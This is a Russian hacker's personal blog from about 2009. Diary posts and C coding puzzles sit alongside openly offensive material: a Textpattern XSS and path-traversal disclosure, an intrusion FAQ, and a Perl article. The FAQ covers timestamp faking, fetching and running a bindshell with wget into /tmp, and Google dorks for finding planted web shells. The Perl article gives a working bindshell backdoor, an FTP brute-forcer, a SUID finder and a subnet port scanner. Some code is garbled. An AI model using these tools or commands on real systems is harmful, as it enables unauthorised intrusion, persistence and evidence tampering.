Третий день уже не могу собраться. Занимаюсь всякой шнягой. Слухаю музыку, играю на гитаре, чешу языком в магенте, ржу над демотиваторами.
Кто нибудь пните меня под зад.
Надо...
3 день
textpattern 4.0.4 bugs
Активная XSS:
http://test1.ru/textpattern/index.php?event=adminПоле "Логин" не фильтруется. Появялется возможность выполнить и сохранить скрипт скрипт.
Local include
http://test1.ru/textpattern/?event=./../../../../../../etc/passwdNULLbytecode:
...Так же: в админ панели залить php шелл можно через форму для загрузки файлов.
$inc = txpath . '/include/txp_'.$event.'.php';
if (is_readable($inc))
include($inc);
...
StraNger
HZ под флудом
Хзону уже 3 день атакуют воены упячки. Админы и модеры в поте лица трут посты и банят засранцев. =D
мну качок
Записался в спортзал. Буду бодибилдером-хакером.
Самый обыкновенный пост
Пора уже готовится к НГ. Хочется отметить ярко. 2010 все таки.
Портал потихоньку начинает заводиться. Активность заметна сразу.
Кстати, куда фрайз делся??
GetRoot жив.
Честно сказать я уже начал сомневаться, что проект поднимется. Но как оказалось напрасно. Гет рут живее всех живых. Снова в теме.
Алилуя товарищи.
getroot.ru
Чего собственно ждем и желаем. Хочется побольше адекватных людей. Как я уже упоминал люди это главное. Хочется побольше норм релизов (статеей хватает вроде.) Вообщем всего хорошего.
Как писать тру хек код.
Гулял по сетке наткнулся на этот текст:
.............
The other thing is write clear specifications as you go - as you develop the program
you will get sudden flashes of insight "ah ha - That's what it should do" - if you are on
the right track carry on. If not throw away ALL your code and start again.
Oh and listen to your subconscious - if you get the " this is not right but I don't know why "
feeling - stop - conversely if you get the " I know this is right " feeling don't stop, just
turn off your brain and type the code in.
There is a mis-conception - the best programs "write themselves" so they need no design
they have always been and they will always be - you just have to see them and write them down.
At first you grope blindly and then you see them.
(This is the Platonic view of programming - that programs have a priori existence,
we don't invent them, they have always been, we perceive them and write them down
<this is the reason why two independent programmers when given a problem to solve
often produce identical (to within renaming of parts) programs - since there is
only one solution - the correct solution>
/Joe
аве, ExZoD
Недавно экзод вернулся из армии. Здорово) Хотя я с ним близко не знаком.
Надеюсь что будет активен на хз. Все таки люди это главное.
Блин, опять пришлось шаблон сменить. Прошлый слишком сужал поля.
Этот даже совсем не в моем стиле, но пусть.
Кодерские хаки
[stranger@localhost ~]$ date
Сбт Дек 5 00:23:09 MSK 2009
[stranger@localhost ~]$ cat /home/stranger/h3kcode.txtНу для начала стоит определиться что такое «хаки».
В моем понимании это какие то нестандартные, красивые, оригинальные решение, которые явно отличаются от других. В общем что то умное и не ординарное. Собственно в этой статье я приведу пример нескольких хаков на тему кодинг. Вообще зачем они нужны? По моему главная причина это так называемый brainfuke, который является любимый занятием любого хакера/кодера. Ну и вторая причина читать данный материал – повышение уровня знания языка. Кстати примеры будут на Си.
Ну что ж. Теперь, когда я заполнил выделенную память введением, можно начинать fuke.
Первый хак заключается в том, что бы написать программу, которая выводила 10 раз подряд рандомные (псевдослучайные) числа. Но. Тело функции main() не должно превышать 4 символов. При том – нельзя писать доп. Функции, нельзя инклудить какие либо файлы кроме stdio.h.
Думаю ясно что 4 символами такую программу не написать (а может можно?)). Нам нужно куда то вынести этот код:
int i=0;
while(i[10)
{
printf(%i,rand(1000));
}
Но не забываем, что функции создавать нельзя. Но с помощью макроподстановок в дириктиве #define можно выполнить этот код. Смотрим:
#include [stdio.h]
#define RND int i=0,g=random(100); while(i[10){printf("%d",g);printf("\n");i++;}
int main()
{
RND;
}
Ну вот.) получилась программа из трех букв xdd
На самом деле макроподстановка довольно удобная вещь. К примеру показ баннера вашей программы. Достаточно написать
#define banner printf(«Powed by StraNger»);
И не нужно пихать код в отдельную функцию
Давайте попробуем сделать такой трюк – нужно написать программу которая бы перебирала указанные числа по порядку и каждое новое число сумировало с предыдущим.
Но главная задача в том, что бы не использовать при этом операторы циклов.
Для начала давайте прикинем какой код будет если мы внедрим цикл(для 10 раз):
- - -
int i=0, stat=5;
while(i[10)
{
stat=stat+(stat-1);
i++;
}
- - -
Теперь нужно избавится от цикла. Конечно, можно было бы выполнять 10 раз схожий код, но это как минимум глупо. Давайте лучше вспомним, что такое оператор goto. Как известно от служит для “прыжка” программы к какой либо метке. Ну например:
- - -
if(a]0)
goto error;
else
//Тут какие то действия
errot:
printf(“OH!\n”);
- - -
Если а>0 то программа перескочит к метке error и выполнит код, который мы в ней написали.
А что нам мешает таким образом организовать цикличные действия. С помощью двух меток и двух goto. Смотрим:
#include [stdio.h]
int main()
{
int i=2,stat=0;
//Первая ссылка
one:
if(stat[10)
{
i=i+(i-1);
stat++;
goto tho;
}
else
printf("The end, i=%d",i);
}
}
Когда программа доходит до первой ссылки она проверяет переменную stat. Если она еще меньше 10, то нужно выполнять вычисления (как очередной шаг цикла) и увеличивать счетчик. Далее происходит переход ко второй метке , там выполяется точно такая же проверка.
Внимательный читатель заметит, что программу можно значительно уменьшить.
Вот так:
#include [stdio.h]
int main()
{
int i=2,stat=0;
one:
if(stat[10)
{
i=i+(i-1);
stat++;
goto one;
}
else
printf("The end, i=%d",i);
}
Как видите мы попросту выполнили переход к этой же метке.
goto самый ненавистный си оператор.
Эдсгера Дейкстры сказал: “качество программного кода обратно пропорционально количеству операторов GOTO в нём"
Действительно код становится мене понятным. Но как видите иногда его можно применить весьма оригинальным способом.
На самом деле, это не единственный способ организовать “цикл без цикла”
Если вызывать функцию рекурсивной, а в ней проверять значение счетчика получится примерно тоже самое. Вот так:
int step();
int i;
int main()
{
step();
}
int step()
{
if(i[10)
{
i++;
step();
}
else
printf("%i",i);
}
В этом хаке мы попытаемся обмануть функцию strcmp. Как надеюсь вы знаете он сравнивает две строки, нам же нужно что бы эти строки были не равны между собой, а функция определило противное.
На самом деле тут ничего сложного. Давайте посмотрим как например строка fukeworld располагается в памяти:
Теперь вспомним, как работает strcmp. Она сравнивает две строки посимвольно до символа окончания строки (\0). Вы наверное поняли к чему я веду. Если нет смотрим пример:
#include [stdio.h]
int main(int argc, char argv[])
{
int integ;
char *w1="fuke\0world";
char *w2="fake";
integ=strcmp(w1,w2);
printf("%i\n",integ);
}
Здесь мы так скажем принудительно указали конец строки, используя символ \0. Если отсечь часть после него, то получатся как раз равные строки.
Если вы протестируете пример, то программа должна вывести на дисплей цифру 0. Это результат выполнения функции strcmp, значит строки равны.
Ну а если сделать так:
char *w1="\0fuke world";то все будут думать, что строка пуста.
Представим себе вот такой код:
#include[stdio.h]
int main(int argc, char argv[])
{
int i=1;
for(i=1;i]0;i++)
{
printf("forever");
}
}
Как видите здесь запускается бесконечный цикл. В нем на экран выводится слово forever.
Хак заключается в том, что бы изменить программу таким образом, что наш цикл через какое то время останавливался и не был бесконечным. При том нельзя писать какие то операторы перед циклом (и в нем соответственно), нельзя создавать функции.
Здесь нам на помощь приходит опять #define. Нужно задать какую то константу, которая бы изменила работу цикла. В теле используется только printf, значит ее и нужно подставить в define:
#include [stdio.h]
#define printf continue;
int main(int argc, char argv[])
{
int i=1;
for(i=1;i]0;i++)
{
printf("forever");
}
}
Попробуйте запустить и вы уведите, что цикл не бесконечный. Точнее он не будет выполняться вообще.
---[h3k 05] ---
//10 способов создать бесконечный цикл.
С первого взгляда кажется способов выполнения действия бесконечное число раз не так уж и много. Но на самом деле это не так. Посидев 5 минут с блокнотом я нашел 10 способов (откинув однотипные решения), хотя думаю что можно найти их гораздо больше
***************
1) while(true) {}
***************
**************
2)for (;;) {}
**************
**************
3)
int i;
for (i=0;i]0;i++) {}
**************
**************
4)
int i=1;
while(i]0)
{i++}
**************
**************
5)
repeat:
printf("h");
goto repeat;
**************
**************
6)
int i;
repeat:
i=0;
while(i[1)
{
goto repeat;
i++;}
*************
*************
7)
while(1==1)
{}
*************
*************
8)
while("")
{}
*************
*************
9)
int i;
rock:
do
{
goto rock;
i++;
}
while(i[10); //самое интересное, что тут условие вообще будет игнорироваться
************
************
10)
int i;
for(i=0;i[10;i++)
{
if(i[10)
i--;
}
************
//без условия.
Хак заключается в следующем – нужно написать программа которая бы принимало какое то число аргументов. В каждом аргументе находится один символ, программе нужно найти среди них нужный (пусть будет 'w'). При том – нельзя пользоваться условными конструкциями (кроме условия И ИЛИ).
Для сравнения строк будет использовать функцию strcmp(). При полном совпадении она возвращает ноль. Проблема как раз в том, как проверить результат функции.
Смотрим код:
#include [stdio.h]
int main(int argc, char *argv[])
{
int i;
for(i=0;i[argc;i++)
{
(strcmp(argv[i],"w")!=0) || printf("Нужная буква в(во) %i аргументе\n",i+1);
}
}
Происходит примерно так:
значение функции strcmp не равно нулю или (равно нулю) мы нашли нужный символ. Как видите несложно.
Первый хак заключается в том, что бы написать программу, которая выводила 10 раз подряд рандомные (псевдослучайные) числа. Но. Тело функции main() не должно превышать 4 символов. При том – нельзя писать доп. Функции, нельзя инклудить какие либо файлы кроме stdio.h.
Вооруженный пингвин. Компактный софт для боевых действий.
[stranger@localhost ~]$ gcc /home/stranger/webi.c -o /home/stranger/web
[stranger@localhost ~]$ /home/stranger/web -s hackzona.ru -u http://hackzona.ru/index.php
[root@localhost stranger]#
./synner -i-s -S -d -D
[root@localhost stranger]# gcc /home/stranger/synner.c -o /home/stranger/synner
[root@localhost stranger]#./synner -ieth0 -x -s192.168.1.1 -S00:AA:BB:CC:00:00 -d192.168.1.219 -D00:dd:ee:aa:dd:bb -p 6984 -l 512 -u5555 -fas
[root@localhost stranger]#./synner -ieth0 -sr -S00:dd:ee:aa:dd:ff -d192.168.1.219 -D00:dd:ee:aa:dd:bb -p80 -u500 -fx
unsigned short calc_checksum(unsigned char *, int );
http://packetstormsecurity.org/sniffers/A-SnIf.c
[stranger@localhost ~]$ perl cscan.pl -p 80 -h 127.0.0.1 -d cgi.database -l blah.log
[stranger@localhost ~]$ perl cscan.pl -p 80 -m 127.0.0.1-255 -d cgi.database -l blah.log
[stranger@localhost ~]$ perl ./ftp-spider.pl [-h] [-v] [-d] [-k] [-P] [-w] [-s server] [-u username] [-p password] [-r remote] [-i ignore] [-f filterfile]
[stranger@localhost ~]$ perl ./ftp-spider.pl –s 127.0.0.1 –v
h3k FAQ
Написал небольшой фак, может кому интересно
будет почитать. Постарался снабдить еще доп. инфой.
q№1.
На удалённом сервере присутствует нужный нам файл. У вас хватает прав что бы прочитать и изменить его. Но - задача заключается в том, что бы дата модификации осталась той же что и была (либо изменненой на любую другую фэйковую)
Решение:
Для этих целей в Linux существует команда touch.
У нее существует опция -t, которая меняет дату и время модификации файла.
Например:
[stranger@localhost ~]$touch -r 0909090909 /home/stranger/aaa.html
Как вариант существует еще опция -r. Она изменяет дату модификации нашего файла, на дату модификации указанного. Например:
[stranger@localhost ~]$touch -r /etc/passwd /home/stranger/aaa.html
Кстати в php есть одноименная функция для изменения времени доступа к файлу:
int touch (string filename [, int time [, int atime]])
Например:
Этот код меняет время модификации файла $filename на текущее время.
Если уж разговор зашел о программировании приведу пример и на си.
ТУт есть структура stat (описана в sys/stat.h). У нее есть поле st_atime оно отвечает за время последнего доступа.
Опять же небольшой пример:
#include
#include // необходимый заголовочный файл
int main(int ac,char *ag[])
{
struct stat buffer; // структура для хранения инфы
if(ac!=1) если кол во аргументов не 1 то
{
if(stat(ag[1],&buffer)!=-1) //если не произошла ошибка то
buffer.st_atime="09090909"; //меняем
else
printf("Не корректное имя файла\n"); // если ошибка
}
else
printf("Пожалуйста введите необходимые аргументы\n");
}
q№2.
Вам удалось найти уязвимость на сайте, через которую можно выполнять команды на сервере. Каким способом и куда можно загрузить и запустить биндшелл(либо другой файл)
Решение.
Вообще загружать файл можно в любую доступную нам директорию (доступную для записи). Но лучше всего грузить файл в директорию /tmp (дириктория временных файлов),
т.к. она открыта для всех, и проблем с правами скорее всего не возникнет.
Непосредственно загружать файл можно несколькими способами
Использовать можно:
wget, get, curl, lynx, links.
Все зависит от конкретной ситуации. Например на сервере может отсутствовать wget.
Для проверки существование программы используем команду which <нужная нам прога>
Итак разберем примеры:
[stranger@localhost ~]$cd /tmp //переход в каталог
[stranger@localhost ~]$wget http://path.com/file.pl // загрузка
[stranger@localhost ~]$chmod 755 file.pl //установка прав
[stranger@localhost ~]$perl file.pl //запуск
Опять же частенько бывают ситуации, когда нужно выполнить все действия через php код:
НУ и давайте рассмотрим способ через lynx. Для тех кто не в курсе lynx - это станадртный консольный браузер. Делается так:
q№3.
Вам удалось взломать сервер и получить доступ к shell оболочке, при чем вы знаете пароль root. Но при вызове команды su, на экране появляется следущее сообщение:
standard in must be a tty
В чем проблема?
Решение.
Скорее всего проблема заключается в отсутствии привязки текущей сессии к псевдотерминалу (или отсутствие поддержи псевдотерминала).
Для уверенности можно набрать команду tty если ответ будет подобен этому:
tty: not a tty
Значит все именно так.
Решить данную ситуацию можно например установив бэкконнект с поддержкой псеводотерминалов. Для этого можно использовать программу ttyX, либо Bidlink.
q№4
Просканировав сервер на открытые порты, ты решил пробить несколько netcat -ом, в итоге на одном из открытых портом был обнаружен такой странный баннер: "??????#??'??$".
Какой демон мог бы носить такой баннер?
Решение.
Ответ прост, так же как и задача - такой баннер носит telnet демон.
q№5.
В какой то момент твоей хакерской деятельности тебе срочно понадобился веб шелл на любом сайте. Но в наличии такового не оказалось, что делать?
Решение.
Как вариант можно поискать уязвимые сайты в гугле (думаю запросы показывать смысла не имеет).
Но более эффективный способ, это искать уже залитые веб шеллы. Тут приведу пример:
PHPKonsole PHPShell filetype:php -echo
Это запрос будет искать залитый PHPKonsole шелл.
А вот этот:
intitle:c99shell filetype:php
c99shell шелл.
Думаю суть запросов ясен.
q№6.
(опять на знание Linux команд) Ты получил доступ к Linux серверу с правами обычного пользователя. Вызвав команду who ты убедился, что находишься один в системе. Что бы дейтсвовать дальше нужно узнать как часто администратор (и другие пользователи) посещают терминал. Как ты это сделаешь?
Решение.
Делается это с помощью команды last. При вводе команды без аргументов она попросту выведем весь лог входов и выходов. Можно ограничить вывод с помощью опции -n:
[stranger@localhost ~]$last -n 15
q№7.
Ты получил доступ к серверу с правами пользователя. Твоя цель - root. Воспользовавшись командой uname -a ты узнаил что на сервер крутиться Linux ядро под которое существует local root сплоит. Но выполнив такую команду:
[stranger@localhost ~] which gcc
Терминал выдал вот это:
/usr/bin/which: no псс in (/usr/lib/qt-3.3/bin:/usr/kerberos/bin:/usr/lib/ccache:/usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin:/sbin:/home/you/bin:/home/you/bin)
Что делать?
Решение:
Для начала можно попробовать использовать cc. Если и такого не нашлось, то дела плохи.
Выходом из данной ситуации будет компилирование сплоита на другой тачке и загрузке готового бинарника на целевой сервер.
Но. тебе нужно учитывать что бы система на которой ты будешь собирать наш эксплоит была такой же по архитектуре как и целевая. Иначе все труды напрасно.
EOF
Жизнь продолжается
Врачи == олени. Сегодня поняли, что у меня нет пневмонии.
Пока валялся в койке появилось парочка идей для новой статейки и релизов.
Решил скачать CoD5 (зачем??). Погамаю... расслаблюсь.
Еще раз кстати поздравляю сципа =))
Пойду менять диз блога.
Прощайте
Прощайте дорогие товарисщи.
Ложусь на неопределенный срок в больницу с пневмонией.
Там не будет не виндос не линукс. И си там не будет. (((
Ужес
Ппц. Еле встал с постели. Сопли капают на клаву. Температура 2 дня была под 39
Школу на карантин закрыли.
Unknown
Что то тут решил асм поучить.)
Даже не знаю что их этого выйдет.... просто потянуло
Нашел книжонку Асемблер в Linux для программистов С.
Сижу читаю. Извращенец я
На дельфи с гордостью забил.
Так вот.
КаникулЫЫ
За снежком незаметно подкрались каникулы.
Ну а так все отлично. Бум спать.
Снежок...
На выходных выпал снег. По традиции на утро. Зимa сцуко наступает.
Сразу появилось новогоднее настроение, но потом вспомнил, что да 2010 еще 2 с лишним месяца.
Продолжаем существовать....
www.gfs-team.ru
Сижу значит щаз, сижу... музыку слухаю.
Думаю дайка на сайт gfs тимы зайду.
Захожу сморю - обновились ребятки. Выложили 2 релиза и статью.
Правда еще 13 числа. Но все таки.....
пэтоН
За последние семь дней (неделю) уже три моих знакомых начали учить питон.
Офигет.
По мне так перл нуно любить.
ХОтя куда мне.
Perl – лучший друг хакера.
Введение && Почему нам так подходит перл?
Здравствуйте уважаемые читатели.
В этой статье я постараюсь описать некоторые аспекты программирования для perl, которые, несомненно пригодятся для хекера.
Почему перл? Много причин... Во-первых, простота. Да перл действительно очень простой язык. Это язык для тех, кто не хочет морочить себе голову набивая кучу кода, что бы вывести фразу "Hello word". А разве не это нам нужно? Простота и скорость создания скрипта. Так сказать, что бы писать программы на лету.
Самое интересное, что на нем можно написать приложение для веб, а можно, например, скрипт для передачи шеллкода через уязвимый буфер. Не правда ли здорово?)
Побудила меня написать этот материал статья Cobalt -а -"Perl - инструмент хакера", по моему мнению, статья получилась очень не полной. А тема интересная.
Ну что ж пора переходить от слов к делу.
Этюд 1. Ищем suid биты.
Представим, что нам необходимо просканировать всю систему и найти файлы с suid битом (думаю ясно для чего). На перле это сделать просто также, как два байта передать.
Набросаем примерный алгоритм функции поиска:
*Функции принимает аргумента в качестве стартового каталога.
*Переходим в указанный каталог и начинаем поиск
*Проверяем файлы, а если встречаем каталог, то вызываем функцию повторно (рекурсивно)
Да, если встречаем "." или ".." то пропускаем их. Т.к. первая указывает на текущий каталог, а вторая на каталог выше.
Собстенно сам код:
#!/usr/bin/perl use Cwd; #С помощью этого модуля мы определим текущий каталог sub Findf { my($work)=shift; my($start)=&cwd; chdir($work) || die "Error!\n"; #переходи opendir(DIR,".") || die "Error\n"; #открываем дирикторию my @names=readdir(DIR) || die "Error!\n"; #читаем файлы closedir(DIR); foreach my $name(@names) { next if($name eq "."); #пропускаем, если это указатель на каталог next if($name eq ".."); if(-l $name){next;} #если ссылка пропускаем if(-d $name) #если это директория, то вызываем нашу функцию {&Findf($name);next;} if(-u $name)# если установлен суид бит выводим инфу { print "Найден суидный файл - $name\n"; } } chdir($start); } &Findf(".");
В этом коде для определения suid бита у файла мы используем опцию -u. Так же можно было использовать модуль File::stat. Но в нашем случае проще обойтись ключом -u.
Вот еще несколько опций для определения статусной информации о файле:
-e - проверка существования файла -z - файл существует и он пустой -r - У нас есть права на чтение файла -w - у нас есть права на изменение файла -x - у нас есть права на редактирование файла -o - мы являемся владельцем файла -f - это обычный файл -d -это каталог -l - это ссылка -u присутствует suid бит -g присутствует guid бит -k присутвтвует липкий бит (steek bit) -T - это текстовой файл -B - это бинарный файл
Можно, например, составить список каталогов, которые доступны нам.
Этюд 2. Парсинг? *YES*.
Скажу вот что - написав всего лишь один скрипт для парсинга ответов гугла и наши возможности практически безграничны.
Ведь google это самый мощный поисковик. С помощью него мы сможем получить гораздо больше информации о сайте & сервере, чем при прямом запросе к ресурсу.
Например, можно провести ReversIP разведку, или составить структуру сайта. Вот только проблема в том, что google при большом кол-ве запросов попросту банит нас. Так что нужно быть аккуратными.
Наш пример будет делать в гугл запрос "inurl: id=" и выбирать ссылки из полученной страницы.
Что будем использовать в нашем коде:
HTML::LinkExtor - для поиска ссылок. LWP::UserAgent - для запросов.
Поехали!
#!usr/bin/perl use LWP::UserAgent; use HTML::LinkExtor; sub parser { my $ua=LWP::UserAgent->new(); #создаем объект $in=0; for($in=0;$in<2;$in=$in+10) # первые две страницы { my $url="http://google/search?q=inurl:id=&start=$in"; $ua->agent("GR-TEAM sql finger"); my $req=HTTP::Request->new(GET=>$url); $req->referer("www.getroot.ru"); my $resp=$ua->request($req); $html=$html.$resp->content();#получаем пагу } $p = HTML::LinkExtor->new(\&cb);#все ссылки будут обрабатываться в cb() $p->parse($html); sub cb #функция для обработки ссылок { @links=@_;#принимаем аргумент $i=0; foreach $na(@links)#перебираем ссылки { if(index($na,"id=")!=-1)#если ссылка не левая, а нашим запросом { if(index($na,"inurl:")==-1) {@urls[$i]=$na; $i++} # то закидываем это все в массив } }
Функция cb обрабатывает ответы объекта $p. В качестве аргумента ей направляются наши ссылки.
Парсер конечно не из лучших, но для примера подойдет.
Этюд 3. Брутофорс по нашему.
С помощью модуля NET::FTP простой брутajhc на перл можно написать за 10 минут.
Удобство в том, что не нужно вдаваться в подробности работы протокола и можно уделить больше времени алгоритму. Итак, брут.
Сначала забьем пароли в отдельный массив, а потом попросту будет из оттуда вынимать и пытаться подключиться.
Смотримкод:
use Net::FTP; sub ftpb { print "Введите хост:\n"; $hostftp=; print "Введите имя пользователя\n"; $loginftp= ; print "Введите путь до файла с паролями\n"; $passftp= ;#приняли данные open(FILE,$passftp) || die "File pass not found\n";#открываем файлик $index=0; while( ) { chomp($_); @passwordsftp[$index]=$_; #записываем пароли в массив $index++; } $max=@passwordsftp; my $brut=Net::FTP->new($hostftp) || die "Не получается подключиться к указанному хосту\n"; for($index=1;$index<$max;$index++)#запускаем главный цикл { $ftp->login("$loginftp", "$passftp") || next; #пытаемся print "Пароль $passftp подошел)\n"; } }
Что сюда можно добавить.
Во-первых все входные данные желательно прогонять через функцию chomp. Она удалит знаки перевода каретки (\n), если такие имеются.
Во-вторых, думаю просто обязательно нужно включить многопоточность.
В-третьих, можно включить функцию, позволяющую пользователю самому выбирать, например timeout. Таймаут можно указать при подключении к хосту:
my $brut=Net::FTP->new($hostftp,Timeout => число) || die "Не получается подключиться к указанному хосту\n";
Этюд 4. BindShell.
Таксс. Сейчас я покажу пример bindshell бэкдора на perl
Это бывает очень полезно.
Как всегда сначала смотрим алгоритм.
Во-первых, биндим порт.
Во-вторых, запускаем потоки ввода вывода.
В-третьих, запускам терминал.
А вот и сам код:
#!/usr/bin/perl #bindshell.pl #Usage: perl bindshell.pl & use Socket; $p=56000; socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp') ); setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1); bind(S,sockaddr_in($p,INADDR_ANY)); listen(S,50); while(1) { accept(X,S); if(!($pid=fork)){ if(!defined $pid){exit(0);} open STDIN,"<&X"; open STDOUT,">&X"; open STDERR,">&X"; exec("/bin/sh -i"); close X; } }
Этюд 5. Сканирование под собственные нужды.
Сначала я хотел в этом топе показать обычный сканер портов. Но это скучно.
Покажу ка лучше вот что: тоже сканер, но сканировать он будет указанный диапазон ip, на один открытый порт, тот который мы укажем.
Ну, например мы просканируем какую то сеть на открытый 23 порт. Те системы, у которых он открыт, могут быть уязвимы.
Итак, алгоритм:
Нам будет дан адрес и порт. В цикле перебираем последний разряд айпишника от 0 до 255 и пытаемся подключиться к указанному порту.
Ну и все в принципе. Если подключение произошло успешно, выводим адрес.
Вотисходник:
#!/usr/bin/perl use Socket; $host=@ARGV[0]; $port=@ARGV[1]; @ip=split (/\D+/, $host); #делим айпи на разряды по точке $index=0; $r1=$ip[0]; #записываем разряды в массив $r2=$ip[1]; $r3=$ip[2]; $host=$r1.".".$r2.".".$r3; #составляем предварительный адрес socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp')); while($index<=255) { $host=host.".".$index; #составляем окончательный адрес $addr = inet_aton($host); # далее коннект $paddr = sockaddr_in($port, $addr); if(connect(SOCK, $paddr)){ print("Host: $host open $port port"); }else{ next; } }
Это нужно принимать как макет.
Если будет серьезная разработка, то нужно включить многопоточность.
Вообще еще можно сделать так:
читать баннеры и сравнивать их с уязвимыми. Если сходиться, то сервис возможно уязвим.
Напоследок.
Данный материал был написан даже не с целью напичкать вас чем то новым (если это для вас ново), а для того что бы показать всю привлекательность языка perl. Я искренне надеюсь, что после этой статьи вам захочется изучать его.
Ps обо всех недочетах и ошибках пишем в комментариях, не стесняемся
скачать
StraNger aka reaL StraNger
rammstein
Стал их слухать. ДОвольно неплохо. Думаю над тем что бы полностью переходить на тяжелую...
Классные у них шоу.
Как это работает?
Собственно давное уже ношу эту идею.
Делать небольшие обзоры работы программ. Т.е. берем сниффер, рассказываю как они работают, естественно привожу исходные коды, и т.п.
Если получиться, то скоро появиться на getroot, ну и тут тоже.
Оленизьм достиг небывалых высот.
Гг. Собственно зашел к себе в личку на хз и вижу такое сообщение:
Привет!Извини за беспокойство но у меня вопрос!Можно-ли что нибудь с одноклассниками??Если да,то напиши мне пожалуйста!!!
Раньше хоть вопрос был более или менее понятен. Теперь все. Деградация дошла до потолка. Теперь они не утруждают себя правильно формулировать мысль. Это писец.
Размышление о складе ума.
По моему у человека нет определенного склада ума. Все чего он добился, это добился сам. Т.е. если подумать, то любой гуманитар покорпев какое то время над учебниками сможет без проблем решать математические задачи. Тут все зависит от того, как долго над этим работать. По моему природа не дает кому то математический, а кому то гуманитарный ум. Все это складывается из постоянной работы. Тут уж дело в том ленивый человек или нет. А все эти разговоры про данный от природы ум, всеголишь пустые отмазки.
Германия:Россия. Ногамяч
Совсем немного осталось до матча Германия:Россия.
Нам предстоит встретится с довольно серьезным противником. Если обратиться к статистике, то число выйгранных матчей между Германией и Россией превышает у Германии. Причем значительно. Ну что ж. Посмотрим.
Кстати буквально час назад посмотрел док. фильм про Гуса.
Дикие старушенции
По моему в каждом подъезде есть такие противные старушки, которые за всеми следят и которые всеми недовольны. БЕсят такие. Буду думать как ее доепать.
Бабулька полюбит металл рок
Крыса и лиса.
+
Читаю вот блог Криса и вижу на его скриншотах только браузер firefox.
Касперски значт Лису юзает. Вот оно как. А вы Опера Опера...
findadmin
Простой perl скрипт. Производит брут заданых путей в поисках админки.
Ищет по базе. В срипте забито всего 6 путей. Можете сами расширять.
Использование:
[stranger@bash]$perl ./findadmin.pl www.site.ru
Думаю включить возможность брута через прокси и обращение к поисковикам.
view
Чихание
Щаз заметил такую весщ:
Вот чихнешь один раз тебе говорят "Будь здоров", а тебе кажется что ты еще хочешь чехнуть и не знаешь стоит ли говорить спасибо или дождаться следущего чиха и уже после него. Просто второй вариант более оптимизированный, НО! А если этого чиха не настанет? Что делать тогда?
Вот такая проблемка.
Я так долго тебя искал
Откопал в архивах рассказец этот. Прошу цинникам не читать, т.е. кроме ржачки ни чего не найдете.
Уж они то, наверное, без ума от этого праздника. «День всех влюбленных» — надо же! Нет, кроме рока и нескольких других необходимых вещей, Запад подарил и кое-что пошло-бесполезное...
У него не было любимой девушки. У него был кот и компьютер. И масса скрытых достоинств.
Наверное, очень хорошо скрытых. Потому что пока девушки их не разглядели. А то, что они видели, не вызывало у них восторга. Сонно-неряшливый вид, особенно с утра. Постоянные разговоры о компьютерах, серверах, модемах. Через час общения девушка уже точно знала, что Unix — это хорошо, а вот Microsoft — это неприличное слово. И ей совершенно не стоило упоминать, что она тоже имеет отношение к компьютеру, и недавно поменяла себе обои на рабочем столе.
А его приводил в восторг ужас в глазах девушек, когда они слышали, что компьютер может работать без Windows. И почему-то они сразу куда-то уходили. Нельзя сказать, что это его сильно расстраивало. У него была все что ему нужно для жизни.
Многи считали его сумасшедшим. А он плевал на них всех. Он некогда из не понимал…
Для зимы было что-то уж очень слякотно. И еще этот праздник. Все это раздражало. Что бы хоть как-то развеяться, он решил зайти в книжный магазин. Перед входом он остановился. И тут — огромные сердечки на всю витрину!
— Какая гадость, — не выдержав, сказал он вслух.
— Гадость? — Удивилась девушка, как раз вышедшая из магазина.
Она пыталась положить в сумку какую-то книжку.
— Ну, да. Вам, должно быть, очень нравятся все эти сердечки, открыточки, и сам этот праздник?
— Нравятся. Это очень романтичный праздник. А Вам, я вижу, нет?
— Не то слово. Как, как такое может нравиться?!
Девушка хотела ответить и, судя по всему, резко. Но тут пробегавший мимо здоровый мужик задел ее. Книжка, которую она так и не положила в сумку, выпала. Они наклонились над ней почти одновременно. Но он все-таки поднял книгу первым...
Эта книга как-то не вязалась с его представлением о девушках. Он с удивлением посмотрел на свою незнакомку. Она была высокая и симпатичная.
— Это вы купили для себя? Она рассмеялась.
Это была замечательная девушка. Она знала, что такое Unix, отличала FreeBSD от Linux, и понимала, что, когда он говорит машина, то не имеет в виду автомобиль. Но при этом она не знает такую кучу полезной информации. Ей действительно интересно и она задает вопросы! Настоящие вопросы. Толковые, с полным пониманием темы. Они говорили и говорили. И даже в какой-то момент они заговорили не о компьютерах...
Было уже поздно. Она с сожалением сказала, что ей пора. А он вдруг понял, что не может ее отпустить. Оказывается фраза, «я так долго тебя искал» — не выдумка доморощенных поэтов. А то, что ей нравится этот праздник — это ведь такая мелочь.
Теперь в его жизни появилось что то еще кроме компьютера…
...И он впервые в жизни купил цветы для своей девушки.
Контактные линзы
В последнее время зрение стало падать.
Сначала очки советовали, но так как я ярый противник четырехглазых решил приобрести линзы.
Очень даже удобно. ухх!
Основы хакерства
Опубликовал уже 5 урок основ хакерства.
Вроде все довольны - новички довольно, шура доволен.
Думаю тут их выложить, а то на портале оформление косячило.
Хм... а ведь когда то сам читал статьи владухи и наверное даже и не мечтал, что когда то буду продолжителем его дела.. ы =D
Сплин - Сигнал из космоса
Уххухх! Сплин подготовили наконец новый альбом.
18 треков.... руль.
Некоторые уже послушал на офсайте. Васильев - !!!
зы что то познавато я проснулся
Геймер зарубил вора самурайским мечом!
Писец, больше нечего сказать. Всегда знал что гамилки людей до добра не доводятМногие считают, что геймеры – это хилые ботаники в очках, которые целыми днями сидят у монитора и не могут постоять за себя. Однако история, случившаяся в США, рисует нам совсем другой образ любителя игр.
Все произошло в доме, который вместе с товарищами снимал студент Университета им. Дженса Хопкинса. Ночью он услышал странный шум и решил проверить, что происходит на первом этаже. На днях у ребят уже украли несколько ноутбуков и PlayStation, поэтому парень предусмотрительно вооружился самурайским мечом. Студент заметил, что дверь в гараж была приоткрыта. Когда он вошел внутрь, на него бросился неизвестный мужчина. Результат - труп преступника с отрубленной рукой и несколькими ранами в области шеи. Ну а студенту, защищавшему свою PlayStation с помощью меча, предстоит доказать, что он не превысил пределов необходимой самообороны.
Лезут кому не лень.
Мдя. По моему в IT лезут все кому не лень.
Поступающие думают, что зная Паскаль они будут спецами на курсе. ПпЦ.
А в айти сеqчас полезно довольно много человек. И думаю в будущем будет еще больше.
Но все таки адекваты в минусе. И это..... радует.
Пост написан по мотивам сообщения Scipio.
Счет с нуля? НиХуЯ
